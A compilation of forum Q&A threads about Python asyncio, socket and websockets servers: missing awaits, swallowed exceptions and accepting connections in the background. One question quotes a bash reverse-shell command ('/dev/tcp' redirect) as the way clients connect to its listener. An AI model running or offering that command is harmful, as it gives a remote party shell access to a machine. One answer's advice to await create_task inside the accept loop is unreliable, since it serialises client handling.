Develop Reference

Python asyncio socket server eating errors (not displaying any errors)

Edited my question to provide more information and a reproducible example.
I'm not sure if anybody could help me here. But I'm having some problems with my asyncio socket server.
As you can see, in the server.py on line 18 there is a deliberate line that will cause a value error, as you cannot change "" to an int. This is intentional, as for some reason the error on this line is never output to the console.
When the client connects to the server the print("here1") line runs, but the lines after that do not due to the error on line 18. I need this error to be output into console, but it appears nowhere. I am very confused and cannot find anything online about why asyncio could be eating the errors and not displaying them.
I have attempted to see any errors by using the logging module, but even this doesn't show any errors..
import logging
logging.basicConfig(level=logging.ERROR)
The line which causes the error is definitely running.
I have extracted all of my code into a smaller reproducible set of files below.
server.py
import asyncio
class Server:
def __init__(self, host: str, port: int):
self.host = host
self.port = port
async def start_server(self):
print("Server online")
server = await asyncio.start_server(self.handle_events, self.host, self.port)
async with server:
await server.serve_forever()
async def handle_events(self, reader: asyncio.StreamReader, writer: asyncio.StreamWriter):
while True:
print("here1")
int("")
print("here2")
data = await reader.read(1024)
if not data:
continue
print(f"received: {data}")
async def start():
host = "127.0.0.1"
port = 55551
server = Server(host=host, port=port)
server_task = asyncio.create_task(server.start_server())
await asyncio.gather(server_task)
if __name__ == "__main__":
asyncio.run(start())
client.py
import asyncio
class Client:
def __init__(self, host: str, port: int):
super().__init__()
self.host = host
self.port = port
self.writer = None
self.reader = None
async def start_connection(self):
self.reader, self.writer = await asyncio.open_connection(host=self.host, port=self.port)
await self.message_handler()
async def message_handler(self):
while True:
await asyncio.sleep(0)
data = await self.reader.read(1024)
if not data:
continue
await self.writer.drain()
async def start():
host = "127.0.0.1"
port = 55551
server = Client(host=host, port=port)
server_task = asyncio.create_task(server.start_connection())
await asyncio.gather(server_task)
if __name__ == "__main__":
asyncio.run(start())

Cause it's not even calling that handle_events func.
import asyncio
async def tcp_echo_client(message):
reader, writer = await asyncio.open_connection(
'127.0.0.1', 55555)
print(f'Send: {message!r}')
writer.write(message.encode())
await writer.drain()
data = await reader.read(100)
print(f'Received: {data.decode()!r}')
print('Close the connection')
writer.close()
asyncio.run(tcp_echo_client('Hello World!'))
I just copied this from the doc so I can test it.

Python asyncio http server

I try to build a base http server with the following code.
async def handle_client(client, address):
print('connection start')
data = await loop.sock_recv(client, 1024)
resp = b'HTTP/1.1 404 NOT FOUND\r\n\r\n<h1>404 NOT FOUND</h1>'
await loop.sock_sendall(client, resp)
client.close()
async def run_server():
while True:
client, address = await loop.sock_accept(server)
print('start')
loop.create_task(handle_client(client,address))
print(client)
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('localhost', 3006))
server.listen(8)
print(1)
loop = asyncio.get_event_loop()
loop.run_until_complete(run_server())
The output I expect to get is
1
start
connection start
But the actual result of running is
1
start
start
start
It seems that the function in loop.create_task() is not being run, so now I got confuesed., what is the correct way to use loop.create_task()?

You need to await the task that is created via loop.create_task(), otherwise run_server() will schedule the task and then just exit before the result has been returned.
Try changing run_server() to the following:
async def run_server():
while True:
client, address = await loop.sock_accept(server)
print('start')
await loop.create_task(handle_client(client,address))
print(client)

python websockets, multiple requests, why only requests are received?

I am trying to test out if I send out multiple requests at the same moment using coroutine can cause the server side receives corrupted data.
My test is based on the sample code from: https://websockets.readthedocs.io/en/stable/intro.html
Somehow, for the following code, the server side only receive one requests? Anyone has some insights? thx
server (this is basically the same code from the websockets Getting Started webpage):
#!/usr/bin/env python3
# WS server example
import asyncio
import websockets
async def hello(websocket, path):
name = await websocket.recv()
print(f"< {name}")
greeting = f"Hello {name}!"
await websocket.send(greeting)
print(f"> {greeting}")
start_server = websockets.serve(hello, "localhost", 8765)
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()
Client, I created 1000 tasks, and schedule to run them as soon as possible:
#!/usr/bin/env python3
# WS client example
import asyncio
import websockets
uri = "ws://localhost:8765"
connection = None
async def hello():
global connection
name = "What's your name? "
await connection.send(name)
print(f"> {name}")
async def main():
global connection
connection = await websockets.connect(uri)
#asyncio.run(main())
if __name__ == "__main__":
loop = asyncio.get_event_loop()
loop.run_until_complete(main())
loop.run_until_complete(asyncio.wait(
[hello() for i in range(1000)], return_when=asyncio.ALL_COMPLETED
))
UPDATE
The solution is to use a loop.

I found the reason: the server side, handler should use a loop so that the corroutine will not finish immediately after received the first request.

The documentation you linked also includes this paragraph just below the server code:
On the server side, websockets executes the handler coroutine hello once for each WebSocket connection. It closes the connection when the handler coroutine returns.
The client code you linked creates one connection and sends messages on that connection. After the client sends the first message, the server closes the connection, so the next 999 messages you attempt to send are being sent on a closed connection.
If you update the hello handler to include a loop, you will see all messages.
import asyncio
import websockets
async def hello(websocket, path):
while True:
name = await websocket.recv()
print(f"< {name}")
greeting = f"Hello {name}!"
await websocket.send(greeting)
print(f"> {greeting}")
start_server = websockets.serve(hello, "localhost", 8765)
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()

How can I accept new connection requests in the background?

I have the server which accepts connection requests from clients. Clients send connection requests using this command: bash -i > /dev/tcp/ip/port 0<&1 1>&1. I want my server to instantly accept new connection requests and log them to console but I don't know how. In the code below there is while loop. As we can see command_accept() need to finish itself for client_accept() to start. That means I always need to pass some command to accept new client requests. I need client_accept() to be always running in the background.
I tried to set a time limit to my input but that's not a solution I need. Also I tried different libraries for asynchronous programming though I'm not sure I'm doing this correctly.
import socket
import time
import sys
host = '127.0.0.1'
port = 1344
id_counter = 0
server = socket.socket()
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.settimeout(0.1)
server.bind((host, port))
server.listen()
clients = {}
def client_accept(server):
while True:
try:
conn, addr = server.accept()
global id_counter
id_counter += 1
clients[id_counter] = (conn, addr)
print(f'{time.ctime()} New client [ID {id_counter}] with address {str(addr[0])}:{str(addr[1])}')
except socket.timeout:
break
def command_accept():
command = input('server > ')
#** don't pay attention **#
if command == 'exit':
sys.exit()
else:
print(f'command {command} accepted!')
while True:
command_accept()
client_accept(server)
Expected result: I don't pass anything to the input in command_accept and yet if new client sent request then the server will instantly accept it and print something like New client [ID 1] with address 127.0.0.1:45431.

Try to do that with socket.io and Threading, so if the socket got a ON_CONNECT event you can just push the information in a list and print it to the console.

as an excuse to experiment with the trio async library I ported your code to it
start by defining a simple class for client connections and the code to keep track of them:
from sys import stderr
from itertools import count
class Client:
def __init__(self, stream):
self.stream = stream
async def run(self):
lines = LineReader(self.stream)
while True:
line = (await lines.readline()).decode('ascii')
if not line or line.strip().casefold() in {'quit', 'exit'}:
await self.stream.send_all(b'bye!\r\n')
break
resp = f'got {line!r}'
await self.stream.send_all(resp.encode('ascii') + b'\r\n')
CLIENT_COUNTER = count()
CLIENTS = {}
async def handle_client(stream):
client_id = next(CLIENT_COUNTER)
client = Client(stream)
async with stream:
CLIENTS[client_id] = client
try:
await client.run()
except Exception as err:
print('client failed', err, file=stderr)
finally:
del CLIENTS[client_id]
LineReader comes from here: https://stackoverflow.com/a/53576829/1358308
next we can define the server stdin processing:
async def handle_local(nursery):
while True:
try:
command = await async_input('server > ')
except EOFError:
command = 'exit'
if command == 'exit':
nursery.cancel_scope.cancel()
elif command == 'list':
for id, client in CLIENTS.items():
print(id, client.stream.socket.getpeername())
else:
print(f'unknown command {command!r}')
check out the docs for info about nurseries
this uses a utility function to wrap input up into an async function.
import trio
async def async_input(prompt=None):
return await trio.run_sync_in_worker_thread(
input, prompt, cancellable=True)
then we define code to tie all the pieces together:
SERVE_HOST = 'localhost'
SERVE_PORT = 1344
async def async_main():
async with trio.open_nursery() as nursery:
nursery.start_soon(handle_local, nursery)
await trio.serve_tcp(
handle_client,
port=SERVE_PORT, host=SERVE_HOST,
handler_nursery=nursery)
trio.run(async_main)
some more links/references (by trio's author):
tutorial echo server
motivation behind the trio library

Python Websockets : infinite lock on client recv

I am learning how to use the websockets package for python 3.6 with asyncio.
Using the Websockets Getting Started example, here are my server and client code (both running in two separate console using python <script>)
wsserver.py
import asyncio
import websockets
msg_queue = asyncio.Queue()
async def consumer_handler(websocket):
global msg_queue
while True:
message = await websocket.recv()
print("Received message {}".format(message))
await msg_queue.put("Hello {}".format(message))
print("Message queued")
async def producer_handler(websocket):
global msg_queue
while True:
print("Waiting for message in queue")
message = await msg_queue.get()
print("Poped message {}".format(message))
websocket.send(message)
print("Message '{}' sent".format(message))
async def handler(websocket, path):
print("Got a new connection...")
consumer_task = asyncio.ensure_future(consumer_handler(websocket))
producer_task = asyncio.ensure_future(producer_handler(websocket))
done, pending = await asyncio.wait([consumer_task, producer_task]
, return_when=asyncio.FIRST_COMPLETED)
print("Connection closed, canceling pending tasks")
for task in pending:
task.cancel()
start_server = websockets.serve(handler, 'localhost', 5555)
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()
wsclient.py
import asyncio
import websockets
async def repl():
async with websockets.connect('ws://localhost:5555') as websocket:
while True:
name = input("\nWhat's your name? ")
await websocket.send(name)
print("Message sent! Waiting for server answer")
greeting = await websocket.recv()
# never goes here
print("> {}".format(greeting))
asyncio.get_event_loop().run_until_complete(repl())
During the execution, the server is doing what is expected of him :
Wait for a client message
Queue 'Hello $message'
Dequeue it
Send the dequeued message back to the sender
The client does work up to the waiting of the server response :
Wait for a user input
Send it to the server
Wait answer from the server <-- Holds on indefinitely
Print it & loop
Here are the console outputs of the execution :
Server
Got a new connection...
Waiting for message in queue
Received message TestName
Message queued
Poped message Hello TestName
Message 'Hello TestName' sent
Waiting for message in queue
Client
What's your name? TestName
Message sent! Waiting for server answer
_
What am I missing?

Server-side, you're missing an await on the websocket.send(message) line.
To find those kind of bugs, start your program with the PYTHONASYNCIODEBUG environment variable, like: PYTHONASYNCIODEBUG=1 python3 wsserver.py which prints:
<CoroWrapper WebSocketCommonProtocol.send() running at […]/site-packages/websockets/protocol.py:301, created at wsserver.py:23> was never yielded from